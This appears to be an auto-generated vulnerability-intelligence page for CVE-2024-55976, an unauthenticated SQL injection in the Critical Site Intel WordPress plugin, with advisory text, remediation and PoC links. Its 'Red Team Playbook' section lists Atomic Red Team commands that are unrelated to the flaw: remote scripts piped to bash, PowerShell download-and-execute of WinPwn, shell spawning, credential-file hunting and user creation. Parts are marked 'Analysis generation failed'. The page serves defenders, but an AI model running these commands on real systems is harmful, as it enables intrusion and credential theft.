CVE-2024-55976
Overview
This vulnerability is an SQL Injection affecting the mikeleembruggen Critical Site Intel plugin, specifically the critical-site-intel-stats component. The root cause is improper neutralization of special characters in SQL commands, allowing untrusted input to be directly incorporated into database queries without adequate sanitization or parameterization. This flaw resides in the plugin's handling of database interactions within its data retrieval or statistics functions.
Vulnerability Description
Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in mikeleembruggen Critical Site Intel critical-site-intel-stats allows SQL Injection.This issue affects Critical Site Intel: from n/a through <= 1.0.
Impact
An unauthenticated attacker can exploit this vulnerability to execute arbitrary SQL queries on the backend database. This can lead to unauthorized disclosure of sensitive data stored within the database, including potentially user credentials or site configuration. The attacker can also modify or delete data, impacting data integrity and availability. Because no authentication or user interaction is required, the vulnerability allows remote exploitation, increasing the risk of data breach and disruption of the affected WordPress site’s functionality.
Solution
Users of the mikeleembruggen Critical Site Intel plugin should upgrade to a version later than 1.0 where this vulnerability is fixed. The Patchstack advisory (https://patchstack.com/database/Wordpress/Plugin/critical-site-intel-stats/vulnerability/wordpress-critical-site-intel-plugin-1-0-sql-injection-vulnerability?_s_id=cve) provides detailed patch instructions and confirms the remediation. Site administrators should apply the updated plugin version promptly to mitigate the risk associated with this SQL Injection flaw.
EPSS vs KEV Prediction — Evolution (30 days)
Overview
Analysis generation failed
Threat Summary
Analysis generation failed
Full Analysis
The vulnerability in Critical Site Intel arises from improper neutralization of special elements used in SQL commands, commonly known as SQL Injection. This flaw allows attackers to manipulate SQL queries by injecting malicious code through user input fields that are not adequately sanitized. The vulnerability is particularly concerning as it affects versions of the software up to and including 1.0, which may still be in use by organizations that have not updated to more secure iterations. The lack of proper input validation means that an attacker can craft specific inputs that alter the intended SQL commands, leading to unauthorized access to the database.
Attack vectors for this vulnerability are varied and can be exploited through multiple entry points, such as web forms, URL parameters, or API endpoints. An attacker could, for instance, input SQL code into a search box or a login form, which the application would then execute against the database. This could allow the attacker to retrieve sensitive information, such as user credentials, personal data, or even administrative privileges. In more advanced scenarios, attackers could use this vulnerability to execute commands on the server, leading to a full compromise of the affected system. The ease of exploitation, combined with the potential for significant damage, underscores the critical nature of this vulnerability.
The real-world impact of such an SQL Injection vulnerability can be profound. Organizations that rely on Critical Site Intel for data management or reporting may find themselves at risk of data breaches, which can lead to financial loss, reputational damage, and regulatory penalties. The high CVSS score of 9.3 indicates that this vulnerability poses a severe risk, making it a prime target for cybercriminals. Businesses could face not only immediate financial repercussions from data theft but also long-term consequences such as loss of customer trust and increased scrutiny from regulatory bodies. The potential for data manipulation or destruction further exacerbates the risk, as it could disrupt operations and lead to significant recovery costs.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regular security assessments, including penetration testing and code reviews, can help identify and remediate vulnerabilities before they are exploited. Additionally, employing web application firewalls (WAFs) can provide an additional layer of defense by filtering out malicious requests. It is also crucial to ensure that input validation and parameterized queries are utilized throughout the application to prevent SQL Injection attacks. Organizations should prioritize updating to the latest versions of Critical Site Intel, as newer releases often include security patches that address known vulnerabilities.
In conclusion, the SQL Injection vulnerability present in Critical Site Intel represents a significant threat to organizations that utilize this software. The potential for exploitation through various attack vectors, coupled with the severe impact on business operations and data integrity, necessitates immediate attention. By adopting proactive detection and mitigation strategies, organizations can better protect themselves against the risks posed by this vulnerability and safeguard their critical data assets.
Affected Products
No CPE information available.
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (2)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
PoC
|
- | 0 | 0 | - | View |
|
RandomRobbieBF/CVE-2024-55976
Critical Site Intel <= 1.0 - Unauthenticated SQL Injection
|
RandomRobbieBF | 0 | 0 | 2025-01-03 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-55976 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/Wordpress/Plugin/critical-site-intel-stats/vulnerability/wordpress-critical-site-intel-plugin-1-0-sql-injection-vulnerability?_s_id=cve |